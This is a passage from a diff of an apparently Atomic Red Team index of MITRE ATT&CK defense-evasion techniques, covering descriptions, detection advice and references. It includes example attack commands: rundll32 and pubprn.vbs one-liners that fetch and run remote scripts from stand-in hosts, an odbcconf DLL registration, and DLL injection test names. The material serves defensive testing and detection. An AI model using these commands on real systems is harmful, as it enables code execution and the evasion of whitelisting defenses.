the MBR. (Citation: Wikipedia Rootkit)' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - id: attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b - name: Rootkit + modified: '2019-06-18T13:56:09.440Z' created: '2017-05-31T21:30:26.496Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Rootkits are programs that hide the existence of malware by intercepting (i.e., [Hooking](https://attack.mitre.org/techniques/T1179)) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a [Hypervisor](https://attack.mitre.org/techniques/T1062), Master Boot Record, or the [System Firmware](https://attack.mitre.org/techniques/T1019). (Citation: Wikipedia Rootkit) - - Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1014 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1014 + - source_name: capec + external_id: CAPEC-552 + url: https://capec.mitre.org/data/definitions/552.html + - source_name: Symantec Windows Rootkits + description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December + 21, 2017. + url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf + - source_name: Wikipedia Rootkit + description: Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016. + url: https://en.wikipedia.org/wiki/Rootkit + - description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. + Retrieved December 21, 2017. + source_name: CrowdStrike Linux Rootkit + url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ + - source_name: BlackHat Mac OSX Rootkit + description: 'Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit + uses the tricks you haven''t known yet. Retrieved December 21, 2017.' + url: http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf x_mitre_defense_bypassed: - File monitoring - Host intrusion prevention systems @@ -9435,29 +9703,29 @@ defense-evasion: ' T1085: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1085 - source_name: mitre-attack - external_id: T1085 - - url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf - source_name: Trend Micro CPL - description: Merces, F. (2014). CPL Malware Malicious Control Panel Items. - Retrieved November 1, 2017. - - url: https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/ - source_name: This is Security Command Line Confusion - description: B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. - Retrieved March 5, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Ricardo Dias - - Casey Smith x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters - Binary file metadata - modified: '2019-01-31T01:30:34.695Z' + x_mitre_permissions_required: + - User + name: Rundll32 + description: |- + The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations. + + Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL) + + Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) + x_mitre_remote_support: false + id: attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5 + modified: '2019-06-24T19:18:55.792Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern x_mitre_detection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially @@ -9465,31 +9733,31 @@ defense-evasion: may also be useful in determining the origin and purpose of the DLL being loaded. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_contributors: + - Ricardo Dias + - Casey Smith + created: '2017-05-31T21:31:06.045Z' kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1085 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1085 + - description: Merces, F. (2014). CPL Malware Malicious Control Panel Items. + Retrieved November 1, 2017. + source_name: Trend Micro CPL + url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf + - description: B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. + Retrieved March 5, 2018. + source_name: This is Security Command Line Confusion + url: https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/ x_mitre_defense_bypassed: - Anti-virus - Application whitelisting - Digital Certificate Validation - id: attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5 - name: Rundll32 - created: '2017-05-31T21:31:06.045Z' - x_mitre_version: '1.1' - x_mitre_remote_support: false - type: attack-pattern - description: |- - The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations. - - Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL) - - Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) - x_mitre_permissions_required: - - User identifier: T1085 atomic_tests: - name: Rundll32 execute JavaScript Remote Payload With GetObject @@ -9511,67 +9779,67 @@ defense-evasion: ' T1064: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1064 - source_name: mitre-attack - external_id: T1064 - - url: http://www.metasploit.com - source_name: Metasploit - description: Metasploit. (n.d.). Retrieved December 4, 2014. - - url: https://www.veil-framework.com/framework/ - source_name: Veil - description: Veil Framework. (n.d.). Retrieved December 4, 2014. - - url: https://github.com/mattifestation/PowerSploit - source_name: Powersploit - description: PowerSploit. (n.d.). Retrieved December 4, 2014. - - url: https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/ - source_name: Alperovitch 2014 - description: 'Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting - of National Security Think Tanks. Retrieved November 12, 2014.' - - url: https://www.uperesia.com/analyzing-malicious-office-documents - source_name: Uperesia Malicious Office Documents - description: Felix. (2016, September). Analyzing Malicious Office Documents. - Retrieved April 11, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_defense_bypassed: - - Process whitelisting - - Data Execution Prevention - - Exploit Prevention + x_mitre_permissions_required: + - User x_mitre_data_sources: - Process monitoring - File monitoring - Process command-line parameters - modified: '2019-04-12T17:42:36.311Z' - x_mitre_detection: |- - Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. + name: Scripting + description: |- + Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts. - Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. + Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them. - Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents) - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014) + id: attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44 x_mitre_platforms: - Linux - macOS - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - id: attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44 - name: Scripting - created: '2017-05-31T21:30:51.733Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: |- - Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts. + x_mitre_detection: |- + Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. - Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them. + Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. - Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014) - x_mitre_permissions_required: - - User + Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-06-24T13:41:53.706Z' + created: '2017-05-31T21:30:51.733Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1064 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1064 + - description: Metasploit. (n.d.). Retrieved December 4, 2014. + source_name: Metasploit_Ref + url: http://www.metasploit.com + - source_name: Veil_Ref + description: Veil Framework. (n.d.). Retrieved December 4, 2014. + url: https://www.veil-framework.com/framework/ + - source_name: Powersploit + description: PowerSploit. (n.d.). Retrieved December 4, 2014. + url: https://github.com/mattifestation/PowerSploit + - description: 'Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting + of National Security Think Tanks. Retrieved November 12, 2014.' + source_name: Alperovitch 2014 + url: https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/ + - source_name: Uperesia Malicious Office Documents + description: Felix. (2016, September). Analyzing Malicious Office Documents. + Retrieved April 11, 2018. + url: https://www.uperesia.com/analyzing-malicious-office-documents + x_mitre_defense_bypassed: + - Process whitelisting + - Data Execution Prevention + - Exploit Prevention identifier: T1064 atomic_tests: - name: Create and Execute Bash Shell Script @@ -9591,84 +9859,12 @@ defense-evasion: sh /tmp/art.sh T1218: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1218 - source_name: mitre-attack - external_id: T1218 - - url: https://lolbas-project.github.io/lolbas/Binaries/Msiexec/ - source_name: LOLBAS Msiexec - description: LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019. - - url: https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/ - source_name: Rancor Unit42 June 2018 - description: 'Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in - South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July - 2, 2018.' - - url: https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/ - source_name: TrendMicro Msiexec Feb 2018 - description: Co, M. and Sison, G. (2018, February 8). Attack Using Windows - Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019. - - url: https://twitter.com/gn3mes1s/status/941315826107510784 - source_name: Twitter gN3mes1s Status Update MavInject32 - description: Giuseppe. (2017, December 14). gN3mes1s Status Update. Retrieved - April 10, 2018. - - url: https://twitter.com/monoxgas/status/895045566090010624 - source_name: Twitter monoxgas Status Update SyncAppvPublishingServer - description: Landers, N. (2017, August 8). monoxgas Status Update. Retrieved - April 10, 2018. - - url: https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017 - source_name: Microsoft odbcconf.exe - description: Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March - 7, 2019. - - url: https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/ - source_name: LOLBAS Odbcconf - description: LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019. - - url: https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/ - source_name: TrendMicro Squiblydoo Aug 2017 - description: Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August - 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. - Retrieved March 7, 2019. - - url: https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/ - source_name: TrendMicro Cobalt Group Nov 2017 - description: 'Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November - 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit - Against Russian Banks. Retrieved March 7, 2019.' - - url: https://github.com/api0cradle/UltimateAppLockerByPassList - source_name: GitHub Ultimate AppLocker Bypass List - description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved - April 10, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Nishan Maharjan, @loki248 - - Hans Christoffer Gaardløs - - Praetorian x_mitre_data_sources: - Process monitoring - Process command-line parameters - modified: '2019-04-25T13:28:31.935Z' - x_mitre_detection: Monitor processes and command-line parameters for signed - binaries that may be used to proxy execution of malicious files. Legitimate - programs used in suspicious ways, like msiexec.exe downloading an MSI file - from the internet, may be indicative of an intrusion. Correlate activity with - other suspicious behavior to reduce false positives that may be due to normal - benign use by users and administrators. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Application whitelisting - - Digital Certificate Validation - id: attack-pattern--457c7820-d331-465a-915e-42f85500ccc4 + x_mitre_permissions_required: + - User name: Signed Binary Proxy Execution - created: '2018-04-18T17:59:24.739Z' - x_mitre_version: '2.0' - x_mitre_remote_support: false - type: attack-pattern description: |- Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques. @@ -9694,8 +9890,80 @@ defense-evasion: * odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"} Several other binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List) - x_mitre_permissions_required: - - User + x_mitre_remote_support: false + id: attack-pattern--457c7820-d331-465a-915e-42f85500ccc4 + modified: '2019-06-24T11:36:15.702Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' + type: attack-pattern + x_mitre_detection: Monitor processes and command-line parameters for signed + binaries that may be used to proxy execution of malicious files. Legitimate + programs used in suspicious ways, like msiexec.exe downloading an MSI file + from the internet, may be indicative of an intrusion. Correlate activity with + other suspicious behavior to reduce false positives that may be due to normal + benign use by users and administrators. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Nishan Maharjan, @loki248 + - Hans Christoffer Gaardløs + - Praetorian + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1218 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1218 + - description: LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019. + source_name: LOLBAS Msiexec + url: https://lolbas-project.github.io/lolbas/Binaries/Msiexec/ + - source_name: Rancor Unit42 June 2018 + description: 'Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in + South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July + 2, 2018.' + url: https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/ + - description: Co, M. and Sison, G. (2018, February 8). Attack Using Windows + Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019. + source_name: TrendMicro Msiexec Feb 2018 + url: https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/ + - description: Giuseppe. (2017, December 14). gN3mes1s Status Update. Retrieved + April 10, 2018. + source_name: Twitter gN3mes1s Status Update MavInject32 + url: https://twitter.com/gn3mes1s/status/941315826107510784 + - source_name: Twitter monoxgas Status Update SyncAppvPublishingServer + description: Landers, N. (2017, August 8). monoxgas Status Update. Retrieved + April 10, 2018. + url: https://twitter.com/monoxgas/status/895045566090010624 + - source_name: Microsoft odbcconf.exe + description: Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March + 7, 2019. + url: https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017 + - description: LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019. + source_name: LOLBAS Odbcconf + url: https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/ + - description: Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August + 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. + Retrieved March 7, 2019. + source_name: TrendMicro Squiblydoo Aug 2017 + url: https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/ + - description: 'Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November + 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit + Against Russian Banks. Retrieved March 7, 2019.' + source_name: TrendMicro Cobalt Group Nov 2017 + url: https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/ + - description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved + April 10, 2018. + source_name: GitHub Ultimate AppLocker Bypass List + url: https://github.com/api0cradle/UltimateAppLockerByPassList + x_mitre_defense_bypassed: + - Application whitelisting + - Digital Certificate Validation identifier: T1218 atomic_tests: - name: mavinject - Inject DLL into running process @@ -9755,54 +10023,54 @@ defense-evasion: \n" T1216: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1216 - source_name: mitre-attack - external_id: T1216 - - url: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/ - source_name: Enigma0x3 PubPrn Bypass - description: 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved - April 9, 2018.' - - url: https://github.com/api0cradle/UltimateAppLockerByPassList - source_name: GitHub Ultimate AppLocker Bypass List - description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved - April 10, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Praetorian x_mitre_data_sources: - Process monitoring - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' + x_mitre_permissions_required: + - User + name: Signed Script Proxy Execution + description: |- + Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts. + + PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png + + There are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List) + x_mitre_remote_support: false + id: attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe + modified: '2019-06-24T11:33:52.628Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern x_mitre_detection: Monitor script processes, such as cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_contributors: + - Praetorian + created: '2018-04-18T17:59:24.739Z' kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1216 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1216 + - source_name: Enigma0x3 PubPrn Bypass + description: 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved + April 9, 2018.' + url: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/ + - description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved + April 10, 2018. + source_name: GitHub Ultimate AppLocker Bypass List + url: https://github.com/api0cradle/UltimateAppLockerByPassList x_mitre_defense_bypassed: - Application whitelisting - Digital Certificate Validation - id: attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe - name: Signed Script Proxy Execution - created: '2018-04-18T17:59:24.739Z' - x_mitre_version: '1.0' - x_mitre_remote_support: false - type: attack-pattern - description: |- - Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts. - - PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png - - There are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List) - x_mitre_permissions_required: - - User identifier: T1216 atomic_tests: - name: PubPrn.vbs Signed Script Bypass @@ -9826,41 +10094,12 @@ defense-evasion: ' T1151: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1151 - source_name: mitre-attack - external_id: T1151 - - url: https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/ - source_name: Mac Backdoors are back - description: Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors - are suddenly back. Retrieved July 8, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Erye Hernandez, Palo Alto Networks x_mitre_data_sources: - File monitoring - Process monitoring - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: It's not common for spaces to be at the end of filenames, - so this is something that can easily be checked with file monitoring. From - the user's perspective though, this is very hard to notice from within the - Finder.app or on the command-line in Terminal.app. Processes executed from - binaries containing non-standard extensions in the filename are suspicious. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - id: attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00 + x_mitre_permissions_required: + - User name: Space after Filename - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change @@ -9874,8 +10113,40 @@ defense-evasion: binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious." - x_mitre_permissions_required: - - User + id: attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00 + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: It's not common for spaces to be at the end of filenames, + so this is something that can easily be checked with file monitoring. From + the user's perspective though, this is very hard to notice from within the + Finder.app or on the command-line in Terminal.app. Processes executed from + binaries containing non-standard extensions in the filename are suspicious. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Erye Hernandez, Palo Alto Networks + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1151 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1151 + - source_name: capec + external_id: CAPEC-649 + url: https://capec.mitre.org/data/definitions/649.html + - source_name: Mac Backdoors are back + description: Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors + are suddenly back. Retrieved July 8, 2017. + url: https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/ + modified: '2019-06-18T14:05:31.754Z' identifier: T1151 atomic_tests: - name: Space After Filename @@ -9891,41 +10162,15 @@ defense-evasion: \"\n\n3. ./execute.txt\\ \n" T1099: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1099 - source_name: mitre-attack - external_id: T1099 - - url: http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html - source_name: WindowsIR Anti-Forensic Techniques - description: 'Carvey, H. (2013, July 23). HowTo: Determine/Detect the use - of Anti-Forensics Techniques. Retrieved June 3, 2016.' - x_mitre_data_sources: - - File monitoring - - Process monitoring - - Process command-line parameters x_mitre_permissions_required: - User - Administrator - SYSTEM - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: 'Forensic techniques exist to detect aspects of files that - have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) - It may be possible to detect timestomping using file modification monitoring - that collects information on file handle opens and can compare timestamp values.' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - id: attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters name: Timestomp - created: '2017-05-31T21:31:12.675Z' - x_mitre_version: '1.0' - type: attack-pattern description: 'Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have @@ -9933,6 +10178,35 @@ defense-evasion: to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)' + id: attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a + modified: '2019-10-18T13:53:44.332Z' + x_mitre_platforms: + - Linux + - Windows + - macOS + object_marking_refs: + - 